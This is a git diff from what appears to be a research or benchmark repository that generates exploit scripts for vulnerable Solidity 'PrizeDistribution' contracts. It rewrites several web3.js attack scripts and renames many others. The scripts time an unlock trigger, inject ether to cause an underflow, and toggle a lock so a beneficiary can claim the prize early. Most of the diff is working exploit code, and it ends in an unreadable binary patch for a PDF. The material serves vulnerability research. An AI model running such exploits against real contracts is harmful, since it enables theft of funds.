Step 1: Organizer activates the special event + let activateEventTx = await contractInstance.methods.activateSpecialEvent().send({ + from: organizerAccount, + gas: 300000 + }); + await sleep(200); + + console.log(`Special event activated, tx status: ${activateEventTx.status}`); + + if (!activateEventTx.status) { + console.error("Failed to activate special event!"); + return false; // Exploit failed + } + + // Step 2: Beneficiary immediately claims the prize + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, + gas: 300000 + }); + await sleep(200); + + if (claimTx.status) { + console.log("Prize successfully claimed during special event!"); + return true; // Exploit successful + } else { + console.error("Failed to claim the prize during special event!"); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } } - + + + + + + + + diff --git a/CI/exploits/synthesized/PrizeDistributionExploit-7.js b/CI/exploits/synthesized/PrizeDistributionExploit-7.js index 7b275956..39a32193 100644 --- a/CI/exploits/synthesized/PrizeDistributionExploit-7.js +++ b/CI/exploits/synthesized/PrizeDistributionExploit-7.js @@ -16,11 +16,10 @@ const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -const contractFileFullName = 'PrizeDistribution.sol'; -let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', contractFileFullName), 'utf8'); +const contractFileFullName = 'PrizeDistribution-7.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); let solcVersion = extractSolcVersion(source); -let BONUS_THRESHOLD = 10; /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -35,73 +34,66 @@ let BONUS_THRESHOLD = 10; * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { - try { - let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); - let contractInstance = await new web3.eth.Contract(abi, contractAddress); - let organizerAccount = envInfo.accounts[0]; - let beneficiaryAccount = envInfo.accounts[1]; - - console.log("Starting lock time and prize amount manipulation..."); - - // Step 1: Send alternating minimal and maximum amounts to create confusion - for (let i = 0; i < 5; i++) { - // Send the minimal amount (1 wei) - let extendTx1 = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: 1, - gas: 300000 - }); - - console.log(`Minimal extension ${i+1} sent, tx status: ${extendTx1.status}`); - await sleep(300); // Short delay between calls - - // Send a large amount to extend the lock time significantly - let extendTx2 = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD * 2, // Sending twice the threshold amount to trigger a significant extension - gas: 300000 - }); - - console.log(`Significant extension ${i+1} sent, tx status: ${extendTx2.status}`); - await sleep(300); // Short delay between calls - } - - let unlockTime = await contractInstance.methods.unlockTime().call(); - console.log("Final unlock time:", unlockTime); - await sleep(500); - - let currentTime = Math.floor(Date.now() / 1000); - console.log("Current system time:", currentTime); - - // Step 2: Wait until just after the unlock time to try claiming the prize - if (currentTime < unlockTime) { - let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time - console.log(`Waiting for ${waitTime} seconds until unlock time...`); - await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); - await sleep(500); - } - - // Attempt to claim the prize - let claimTx = await contractInstance.methods.claimPrize().send({ - from: beneficiaryAccount, - gas: 300000 - }); - await sleep(500); - - if (claimTx.status) { - console.log("Prize successfully claimed!"); - return true; // Exploit successful - } else { - console.error("Failed to claim the prize!"); - return false; // Exploit failed - } - } catch (error) { - console.error(error.stack); - return false; - } + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; + let beneficiaryAccount = envInfo.accounts[1]; + + console.log("Monitoring block number to perfectly time the unlock trigger..."); + + let currentBlock = await web3.eth.getBlockNumber(); + let lastBlockChecked = await contractInstance.methods.lastBlockChecked().call(); + + console.log(`Current block: ${currentBlock}, Last block checked: ${lastBlockChecked}`); + + // Calculate when to execute the trigger based on block numbers + if (currentBlock <= lastBlockChecked + 100) { + let waitForBlock = lastBlockChecked + 101 - currentBlock; + console.log(`Waiting for ${waitForBlock} more blocks...`); + await new Promise(resolve => setTimeout(resolve, waitForBlock * 15000)); // Approximate wait time based on average block time + } + + // Trigger the unlock + let triggerTx = await contractInstance.methods.triggerUnlock().send({ + from: organizerAccount, + gas: 300000 + }); + + console.log(`Trigger transaction status: ${triggerTx.status}`); + + if (!triggerTx.status) { + console.error("Failed to trigger unlock!"); + return false; + } + + // Attempt to claim the prize + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, + gas: 300000 + }); + + if (claimTx.status) { + console.log("Prize successfully claimed with triggered unlock!"); + return true; // Exploit successful + } else { + console.error("Failed to claim the prize even after triggering unlock!"); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } } - + + + + + + + + diff --git a/CI/exploits/synthesized/PrizeDistributionExploit-8.js b/CI/exploits/synthesized/PrizeDistributionExploit-8.js index d4653d5d..d201f852 100644 --- a/CI/exploits/synthesized/PrizeDistributionExploit-8.js +++ b/CI/exploits/synthesized/PrizeDistributionExploit-8.js @@ -16,11 +16,10 @@ const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -const contractFileFullName = 'PrizeDistribution.sol'; -let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', contractFileFullName), 'utf8'); +const contractFileFullName = 'PrizeDistribution-8.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); let solcVersion = extractSolcVersion(source); -let BONUS_THRESHOLD = 10; /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -35,70 +34,48 @@ let BONUS_THRESHOLD = 10; * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { - try { - let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); - let contractInstance = await new web3.eth.Contract(abi, contractAddress); - let organizerAccount = envInfo.accounts[0]; - let beneficiaryAccount = envInfo.accounts[1]; - - console.log("Starting precise lock time manipulation..."); - - // Step 1: Alternate between just below and just above the BONUS_THRESHOLD - for (let i = 0; i < 5; i++) { - // Send just below the threshold to avoid bonus - let extendTx1 = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD - 1, - gas: 300000 - }); - - console.log(`Just below threshold extension ${i+1} sent, tx status: ${extendTx1.status}`); - await sleep(300); // Short delay between calls - - // Send just above the threshold to trigger a minimal bonus period - let extendTx2 = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD + 1, - gas: 300000 - }); - - console.log(`Just above threshold extension ${i+1} sent, tx status: ${extendTx2.status}`); - await sleep(300); // Short delay between calls - } - - let unlockTime = await contractInstance.methods.unlockTime().call(); - console.log("Final unlock time:", unlockTime); - await sleep(500); - - let currentTime = Math.floor(Date.now() / 1000); - console.log("Current system time:", currentTime); - - // Step 2: Wait until just after the unlock time to try claiming the prize - if (currentTime < unlockTime) { - let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time - console.log(`Waiting for ${waitTime} seconds until unlock time...`); - await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); - await sleep(500); - } - - // Attempt to claim the prize - let claimTx = await contractInstance.methods.claimPrize().send({ - from: beneficiaryAccount, - gas: 300000 - }); - await sleep(500); - - if (claimTx.status) { - console.log("Prize successfully claimed!"); - return true; // Exploit successful - } else { - console.error("Failed to claim the prize!"); - return false; // Exploit failed - } - } catch (error) { - console.error(error.stack); - return false; - } + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; + let otherAccount = envInfo.accounts[1]; // Another account to manipulate the contract balance + + console.log("Preparing to manipulate the extension cost..."); + + // Step 1: Increase the contract balance significantly + await contractInstance.methods.extendLockTime().send({ + from: otherAccount, + value: web3.utils.toWei('10', 'ether'), // Send a high amount to increase the balance + gas: 300000 + }); + await sleep(200); + + console.log("High balance injected, now withdrawing to cause underflow..."); + + // Step 2: Quickly reduce the balance by transferring to another account + let organizerTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: web3.utils.toWei('1', 'ether'), // Intended to be correct but timing causes underflow + gas: 300000 + }); + await sleep(200); + + if (organizerTx.status) { + console.log("Transaction potentially caused underflow, verifying..."); + + // Verify the result by checking the unlock time + let newUnlockTime = await contractInstance.methods.unlockTime().call(); + console.log(`New unlock time set to: ${newUnlockTime}`); + + return true; // Indicate potential success of exploit + } else { + console.error("Failed to manipulate the extension cost!"); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } } @@ -106,6 +83,14 @@ async function exploit(web3, envInfo, contractAddress) { + + + + + + + + /** * Executes the exploit and checks its result * diff --git a/CI/exploits/synthesized/PrizeDistributionExploit-9.js b/CI/exploits/synthesized/PrizeDistributionExploit-9.js index 4b8c1167..716b6080 100644 --- a/CI/exploits/synthesized/PrizeDistributionExploit-9.js +++ b/CI/exploits/synthesized/PrizeDistributionExploit-9.js @@ -16,11 +16,10 @@ const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -const contractFileFullName = 'PrizeDistribution.sol'; -let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', contractFileFullName), 'utf8'); +const contractFileFullName = 'PrizeDistribution-9.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); let solcVersion = extractSolcVersion(source); -let BONUS_THRESHOLD = 10; /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -35,75 +34,54 @@ let BONUS_THRESHOLD = 10; * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { - try { - let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); - let contractInstance = await new web3.eth.Contract(abi, contractAddress); - let organizerAccount = envInfo.accounts[0]; - let beneficiaryAccount = envInfo.accounts[1]; - - console.log("Starting incremental extension manipulation..."); - - // Step 1: Incrementally extend the lock time with minimal amounts - for (let i = 0; i < 10; i++) { - let extendTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: 1, // Sending the minimal amount (1 wei) - gas: 300000 - }); - - console.log(`Minimal increment ${i+1} sent, tx status: ${extendTx.status}`); - await sleep(300); // Short delay between calls to create slight time differences - } - - // Step 2: Send a large amount to extend the lock time significantly and increase the prize - let largeExtendTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD * 3, // Sending a large amount to trigger a significant lock time extension - gas: 300000 - }); - - console.log(`Large increment sent, tx status: ${largeExtendTx.status}`); - await sleep(500); - - let unlockTime = await contractInstance.methods.unlockTime().call(); - console.log("Final unlock time:", unlockTime); - await sleep(500); - - let currentTime = Math.floor(Date.now() / 1000); - console.log("Current system time:", currentTime); - - // Step 3: Wait until just after the unlock time to try claiming the prize - if (currentTime < unlockTime) { - let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time - console.log(`Waiting for ${waitTime} seconds until unlock time...`); - await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); - await sleep(500); - } - - // Attempt to claim the prize - let claimTx = await contractInstance.methods.claimPrize().send({ - from: beneficiaryAccount, - gas: 300000 - }); - await sleep(500); - - if (claimTx.status) { - console.log("Prize successfully claimed!"); - return true; // Exploit successful - } else { - console.error("Failed to claim the prize!"); - return false; // Exploit failed - } - } catch (error) { - console.error(error.stack); - return false; - } + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; // This should be another account simulating the exploit + let beneficiaryAccount = envInfo.accounts[1]; // Beneficiary account + + console.log("Attempting to toggle the lock state..."); + + // Exploit step: Toggle the lock to false using the organizer account or another malicious account + let toggleTx = await contractInstance.methods.toggleLock(false).send({ + from: organizerAccount, + gas: 300000 + }); + await sleep(200); + + console.log(`Lock toggled: ${toggleTx.status}`); + + if (!toggleTx.status) { + console.error("Failed to toggle the lock!"); + return false; // Exploit failed + } + + // Attempt to claim the prize now that the lock is disabled + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, + gas: 300000 + }); + await sleep(200); + + if (claimTx.status) { + console.log("Prize successfully claimed with lock disabled!"); + return true; // Exploit successful + } else { + console.error("Failed to claim the prize even with lock disabled!"); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } } + + /** * Executes the exploit and checks its result * diff --git a/CI/exploits/synthesized-prompt-1/ProductOrderExploit-1.js b/CI/exploits/synthesized/ProductOrderExploit-1.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/ProductOrderExploit-1.js rename to CI/exploits/synthesized/ProductOrderExploit-1.js diff --git a/CI/exploits/synthesized-prompt-1/ProductOrderExploit-10.js b/CI/exploits/synthesized/ProductOrderExploit-10.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/ProductOrderExploit-10.js rename to CI/exploits/synthesized/ProductOrderExploit-10.js diff --git a/CI/exploits/synthesized-prompt-1/ProductOrderExploit-11.js b/CI/exploits/synthesized/ProductOrderExploit-11.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/ProductOrderExploit-11.js rename to CI/exploits/synthesized/ProductOrderExploit-11.js diff --git a/CI/exploits/synthesized-prompt-1/ProductOrderExploit-12.js b/CI/exploits/synthesized/ProductOrderExploit-12.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/ProductOrderExploit-12.js rename to CI/exploits/synthesized/ProductOrderExploit-12.js diff --git a/CI/exploits/synthesized-prompt-1/ProductOrderExploit-13.js b/CI/exploits/synthesized/ProductOrderExploit-13.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/ProductOrderExploit-13.js rename to CI/exploits/synthesized/ProductOrderExploit-13.js diff --git a/CI/exploits/synthesized-prompt-1/ProductOrderExploit-14.js b/CI/exploits/synthesized/ProductOrderExploit-14.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/ProductOrderExploit-14.js rename to CI/exploits/synthesized/ProductOrderExploit-14.js diff --git a/CI/exploits/synthesized-prompt-1/ProductOrderExploit-15.js b/CI/exploits/synthesized/ProductOrderExploit-15.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/ProductOrderExploit-15.js rename to CI/exploits/synthesized/ProductOrderExploit-15.js diff --git a/CI/exploits/synthesized-prompt-1/ProductOrderExploit-16.js b/CI/exploits/synthesized/ProductOrderExploit-16.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/ProductOrderExploit-16.js rename to CI/exploits/synthesized/ProductOrderExploit-16.js diff --git a/CI/exploits/synthesized-prompt-1/ProductOrderExploit-17.js b/CI/exploits/synthesized/ProductOrderExploit-17.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/ProductOrderExploit-17.js rename to CI/exploits/synthesized/ProductOrderExploit-17.js diff --git a/CI/exploits/synthesized-prompt-1/ProductOrderExploit-18.js b/CI/exploits/synthesized/ProductOrderExploit-18.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/ProductOrderExploit-18.js rename to CI/exploits/synthesized/ProductOrderExploit-18.js diff --git a/CI/exploits/synthesized-prompt-1/ProductOrderExploit-19.js b/CI/exploits/synthesized/ProductOrderExploit-19.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/ProductOrderExploit-19.js rename to CI/exploits/synthesized/ProductOrderExploit-19.js diff --git a/CI/exploits/synthesized-prompt-1/ProductOrderExploit-2.js b/CI/exploits/synthesized/ProductOrderExploit-2.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/ProductOrderExploit-2.js rename to CI/exploits/synthesized/ProductOrderExploit-2.js diff --git a/CI/exploits/synthesized-prompt-1/ProductOrderExploit-20.js b/CI/exploits/synthesized/ProductOrderExploit-20.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/ProductOrderExploit-20.js rename to CI/exploits/synthesized/ProductOrderExploit-20.js diff --git a/CI/exploits/synthesized-prompt-1/ProductOrderExploit-21.js b/CI/exploits/synthesized/ProductOrderExploit-21.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/ProductOrderExploit-21.js rename to CI/exploits/synthesized/ProductOrderExploit-21.js diff --git a/CI/exploits/synthesized-prompt-1/ProductOrderExploit-22.js b/CI/exploits/synthesized/ProductOrderExploit-22.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/ProductOrderExploit-22.js rename to CI/exploits/synthesized/ProductOrderExploit-22.js diff --git a/CI/exploits/synthesized-prompt-1/ProductOrderExploit-23.js b/CI/exploits/synthesized/ProductOrderExploit-23.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/ProductOrderExploit-23.js rename to CI/exploits/synthesized/ProductOrderExploit-23.js diff --git a/CI/exploits/synthesized-prompt-1/ProductOrderExploit-24.js b/CI/exploits/synthesized/ProductOrderExploit-24.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/ProductOrderExploit-24.js rename to CI/exploits/synthesized/ProductOrderExploit-24.js diff --git a/CI/exploits/synthesized-prompt-1/ProductOrderExploit-25.js b/CI/exploits/synthesized/ProductOrderExploit-25.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/ProductOrderExploit-25.js rename to CI/exploits/synthesized/ProductOrderExploit-25.js diff --git a/CI/exploits/synthesized-prompt-1/ProductOrderExploit-3.js b/CI/exploits/synthesized/ProductOrderExploit-3.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/ProductOrderExploit-3.js rename to CI/exploits/synthesized/ProductOrderExploit-3.js diff --git a/CI/exploits/synthesized-prompt-1/ProductOrderExploit-4.js b/CI/exploits/synthesized/ProductOrderExploit-4.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/ProductOrderExploit-4.js rename to CI/exploits/synthesized/ProductOrderExploit-4.js diff --git a/CI/exploits/synthesized-prompt-1/ProductOrderExploit-5.js b/CI/exploits/synthesized/ProductOrderExploit-5.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/ProductOrderExploit-5.js rename to CI/exploits/synthesized/ProductOrderExploit-5.js diff --git a/CI/exploits/synthesized-prompt-1/ProductOrderExploit-6.js b/CI/exploits/synthesized/ProductOrderExploit-6.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/ProductOrderExploit-6.js rename to CI/exploits/synthesized/ProductOrderExploit-6.js diff --git a/CI/exploits/synthesized-prompt-1/ProductOrderExploit-7.js b/CI/exploits/synthesized/ProductOrderExploit-7.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/ProductOrderExploit-7.js rename to CI/exploits/synthesized/ProductOrderExploit-7.js diff --git a/CI/exploits/synthesized-prompt-1/ProductOrderExploit-8.js b/CI/exploits/synthesized/ProductOrderExploit-8.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/ProductOrderExploit-8.js rename to CI/exploits/synthesized/ProductOrderExploit-8.js diff --git a/CI/exploits/synthesized-prompt-1/ProductOrderExploit-9.js b/CI/exploits/synthesized/ProductOrderExploit-9.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/ProductOrderExploit-9.js rename to CI/exploits/synthesized/ProductOrderExploit-9.js diff --git a/analyzer/Jaccard_Similarity_Distribution-prompt-1-and-2.pdf b/analyzer/Jaccard_Similarity_Distribution-prompt-1-and-2.pdf index 5dd1dc487317c56256ec1f3c61cead8351525364..49d3f2b8e2923d0e35bf3136f0ad646b97056fba 100644 GIT binary patch delta 2441 zcmZWnc|4W*9>xiWu^e-Y#?}!|wmH4;d(L^6EFVgip%IEEO9_Q!NhAB~DqEJ+v1BR9 zzLhd6hteU0FfqfStPv4HF}CJr?jQH&{r&a*JfG+JJtFAzqP9-A3qc*W4aOi?d5EcWl$C z?^h@0_SgO^j#0ZVRo;n5`WTH5Uz+a{Owr|3f+a8VS!w1b8mYIY;-36Avwlh5-@V-0 zRQAB+0ll)Zdkc>A4)f^SU{bW5X{)n6bxKt!#46dd>%Os>)RkWDlFQK?`5pb&E0d;6 z6U3gSjV9n5LM=LZo3wZQa2n!D|_iiUp@hmNx(7 znPXVjkI-&`yi3OC@rs-%S=zP4Ru^`N=ZM^f8Q^XvXkNbGS^g)PG>cj#P`1$yHfa+k3LL}As=+8aYtj@f^wY*DLFt_bvJzXH5 zWOZ*$}56GbrKimSA(i+!vYdN0$psuNzegQY5ML zpG=wr()ZkM*rrwCcbPWW2~kAf#GJ~ZhWjhl>j+q$T@i{%`)iSc7N0)kJ53JetJf2- zY`ZBGVQa8R;c6(HORpNO3?wg;4cqO+w^^K7q~LuTZyzd>=J;b;cnx=D#Fy53vci9eXtWJ_nHX%n2SQnP*tyghQguQ#0crV@4mXTv*5V~M<+|ZDB!1nlHvWJLr9h!DY zdm2BIHEds|lx4bc^ZsL<9l~#fvg6UikyQVHuv4=sN{t;6*Y0I{l+F0a=kB>%|7v7X zF_aN_H8ItAfQ!uddv`7swUL)tvx81IeS8Q1E;PNVU6@QVm=`;xUJ$o;-)lN2+qQRk zC}p)ewqRrC@N%Dd!-=C)zP$Lo9R~h%uRLIamb;F^J#*z|hyQ-zEW=;8s@v z!yx8X9ta}@9*DtPc>n}%4g|pezg+-=7z8oIBm@K?7E0uy(AE(EjIZJ?0RhH0&29RB zeGCjjwi1~DLJ%_<2u$F?7{QnYK)_ZW3q%Q87KyWrl3tCJGw~jP{@H6%gs_ zB6k!805v`ETd0h*m*p?@%(9#3UD+3detw(9UmVT0z9wsz&Hk4B^_b<%>%cqYgpjg^ zx}EpK*~8!N9lg7|;`@BQadca=XPb-uGIQtmza8*kQ~Y7f(x*|#pT0n z%p;EW&G4Uo!AM;xnrhxwoHDbCfy;ZJFssWaNf0Ro;z(^$$Lrx{x~=_TV+S8JT{F88 zC7Uyq#(#W=((M$fIXy-AzFlcNx$U9wj?9r6;7=5asA>kV{Zrb+lk(|KX7soz*l0Ny}FF);Xazjajkp?>hoaPYQDzKFW*({`E~wlcpH6!Dvg#X6+9412nB_GYin)~nVvQ>zjE38G3(IB5QUxFRue+-y9AH8 zmZ3y!_))K~MMeD|`vN+GbIPEakS}Wsf46TY2gtRzuM$_+R{tJe_?uQ$o z-{%($t-PMj(w6Y$e;%dxgRUH&YFC0+=bP(>#93fe7%jnONl)ey~R_n!B66djUQ>VL z@g%dlp6le!^zaG6A{W%f>Py~}m+84IXIuIUka}uD-KZS4=gg;**_jg(WU2>#4IybZ z6ZdTF56FmM#Fk`CG+Ee4hZC&&*l%N>@YceVrC>Ydw`#RZLQnQ~lN|`$(UfCy8Iq(! z<6gY2Qsr3N)RtvZDr+mmRf>Q26nUch{;1`heJjZp-2V5au;--8$ET0$%-?0rG8NaA zbg*ky)hc!wM^#NZPzrXk&k8R5A{pTQ2M{VP>e!T5f?}eb@O)lM!D6T-uY8_<BSJv{@02TJt9L%ir;knnm6jZVH*VY^idx z{93${+H#`XQ|v0w_k&mH)@bDj_WTN?5s!_+K>c2YuV$R%d}d72---)Os<>qQN{`#T z(h+x>xzHuz`m`YB3M}^yb*3!Z`rZCr$;7G0%lD(rBK9p--A^eiGxrfbVfeB%wA|sqRVm&D#%)S>#)|sic6N2nnKJhK+{t#Y0+5f8BzER%LuK8Fo#bbHj;kooi~ z#AM{S`y{^Rq@vA&xwfO9y1y>n(_ zp@o*!iQ0H@@XPXZM2QIEU;t8r2MH@TwRH&PuXqx9A9A=rwSLKQAbP(`O;%EN12E4(Uq{kP^v`!$hvqp}MD`Ub|^G#=3vhbvR*Q=P0|mO$C|&@S`BgN zKZoZD9tJbV43VCL*p(MFJkUgGpzO^=*iqTW!~| zVe%(U;mtu8B6-RZ_zYsd`23_~=Y3n7T`ZTds?VVF#t_pssXiQ%tmiZk)Q@6rh#R^Ks1sO!>BW2IFMS3#Ik|_5<{Iw zA|Q1fj-dlm1Bc$5i9}%;x&k;HW-m`2gWAgjKmgp!13)D9PY>vS?E)YOFealI1OlK2 znvsVC_KpBRfyli^0Mx(C$^0{C0R2bCKjHt+{`YQBXlf#O5W+Cj)c|ndUb==l8pnX4 z07f2KeeYTT4J?|0hXJtvR}cE{JpdRG%b*j31{q9ZuqcL!V{jOTT&y~F@Ad&K8u>3H ze^vxwH8dEefCJEb4;H{7QH&UfW@wDVXzX>2{M}`*XyoscIJ&nW5lS|g6@RZAjR<0>_GH$6{GRoar8KVm` zS}zo#@UXdrJWR`sTURU%5=JqmlFJbL$i80B(=+G%^?QAOpWpBE{l34yvmE_Lcx93_ z{YEEEo%D~S#TdDL!bAhj;Xm{85Nm}R^D~>>Wlq%nYmA)99t>nn3RilsChra$&Cimy zn5@w5wF&D<^!QY_EC{V{Xl~35rf~{tu6fCDk1SDajm%!n{g~Cr5m*G&Ag%84qKK6s zr&fByUu%{rSA0V=Y#xrL+9|PhvM#yE(H+c)yyWJ3&0PJWNh;rrf(%vN)cdxzp@@Cm zT2^JE^KkR^BVnO5GIeKyv0_%XERcRBYa3WL<5cPMgSL)JdN273>cKNSe)@RMyuab- zKFjoZdvJou%C>2x8yVTk;74B)Nrm~M&EJ`QN z-}@-CD!Nu;1!F%5F5A_geiVFgahB~uAT%ewP%G@PdCkiRPxV(E7SnaFx@P^eD!1je zl5@EOW#Nq7&>Xh?)pLZPaWJoQxKgUdaxlqsLx^|$xA^GW91R}wfw4r_zs(|OdguC{ zdQ)M$V|XT63R{?X%Rq}=q#WG0s8<_lHrox}>|qd!@3T(&skj&KmS@_J#dedwA4GLp(EA?coWthFVi0V^oceuY+sl;7j10Xp{(2PEM_$}Z8zhmoiAwLmR*>ZvY7Lu z*eVzNEsI#B;p6^{THb!5Pa!QNkBv~0etjA{{grWCEraqi<+Uf>&s0bZZaS86_M0wN zTFnS0hG6z*c8ocHVdq>9OVFv7`}>+r7rkb|{-C*_zn zdAqqS(C=ZSnO`&AC8aRZ6P_KI$}bO0GM`8#JJ;rHFInk+_VOc(nmAz1e-g`>6xy&0 zQhnb#&8M&Ch^wCsdOsw$bPtfmUF=o8gvW)o!KWsBGkgm##*$gpBJi@!C)y&tr@7+5 z-5nFV%jQD*q&g=Jr8K$v>UrPArP?!I~Ln>U(hyXd0mnOzp~m2Afqy*CNeb1oC&(;kt6 zlCSxWw+!iq1It0n{t=5G<2gfqh9b32=E85&omJj=m z1<~yJ6=vPxRgH=iHuil91g>LFyT?64f`auEPCdDP`H*zP(~zy2 zx=x@i5;C=LTTPTO5!Y|hucK3#;Q$XR&}7wj-mRkFnqq16M4h=`x2nZISt>Su@HQyw zqT>klW|GOebPxq_sUSi`Bu|1ch)HSy2I3Nk2uachfG7-0oCS!W z32|Mcf7vcTgw~ti=={G303uA3ED#_fxL|-tBH?`)@pH)kWk3-0MRUhDb^(Y4ej)y? z!2pE25QZRB@io!&I&L=F&rTTKqTi3ARs157eF8g?}JTnbP*D| z;akW1Ka!+%=#s^gV0_~w5`Zh3gd#YSC`iHuqeSe>v!BNc04M_D2%#v9BaUJyjxGkF zxS}zbgx3%pX%GOM07)ab{-7j7KmZ0LM*;!}?%l2btR@h%^njH-gn)pYo}SeaYq|db DLGqZB delta 3478 zcmZWnc|4T;9!*(_P}bg5wy{+*&&)HM^|eg0rfiX&LKsUgMl?@Z8%I4LZ`VA3J)iSC=Xbu}bAI*L*8>Z}S)jxw!m*~q;d2ZD-vl1r ziON;!Xq8~Lo?Ak1BX08|>f%shC~Ex*acIa^%gp}@gPl_|UMy+N|4MyoT;Wygt%ZrI z)I86j@*n{E;a6s<-Cd-DpR&`wYCeM;2%TQcXZ4i3y0cuAIwJmvuJgGu zOTc!8m7~$ZImqkdYxxE4?I!{;tA7F}{59Ec2YY(2CL7e%X?E<}E*L}W+nK#A{IJ1i z=5uPy8Yw=zDsPM#c^9t)yN+SIC)Z6K%`RtI%t{)y`V{vP)fO#YTB?k*D`{$~oym||C@%=pTbGj4lsH27VGM~ph>ZD0j%klosc)*1%o?Cf zi_0HSCO_oUIPTa6{8gT+?Ld?j36C=pzPzXj?NMYoP9edsZrC32NHzY1W$c$Hw?YQS;+>sN_R44wsTpy|8 z`aJDZ-S5VU7ZjGkd$;y96u{p;}QKi25{$1c`ysy5{T66 zBB~B)2dPM@!ran|qYR5yp3(;|9rl5^-s`iO zpA^Of+6;_{DJ6=e(qIqw#$GJexvBly+a{e(2=rFZH4GGe>HQV^q(#Mc=jxvQ2g!IMfQnPVapr*(wNKyDGDBSrW+Dj#-KVq?*D{Q;5{>5pCe0cmg0z6$;3Ihk+-Ra-LJdi z2Wk($`Jx9VMqx@_w#!qJ1^eZmUzBij+dO4A5B_z3n5LLumDcIZ4;?+YhjOx=(%oS%`?%NuXXj>4nPk9#XfW@ukGqa8HNT z_Dz@>c-39CrX3zJ&Iu#6#oIYX<6ZR#k>UY%o*GL-Lf>;=hAKZ8Kf(5nvo|dJO>$W7 zQI|0od{4%k(86;p`p^md;m6!E)hU9x1!y9GUiv1;+d&uf)2#U3e(2hH5rW}j9nb%S8qcw#&DQbIg#`jgemimcutM5AbnhJ-f2vT1( zqQ7>YGN%DzF1leO*bFPT(q=VjoQ%RIKBN%L|K=Fp(Ll*Ig-pAIOar6~I|RPuOY5G> z9aN9cE2Fg+FL(;TvcAG@`qfzV2KWe=RvbvP^G>9_S`fH&(LYMY$t`zPK_nv3a$cf3 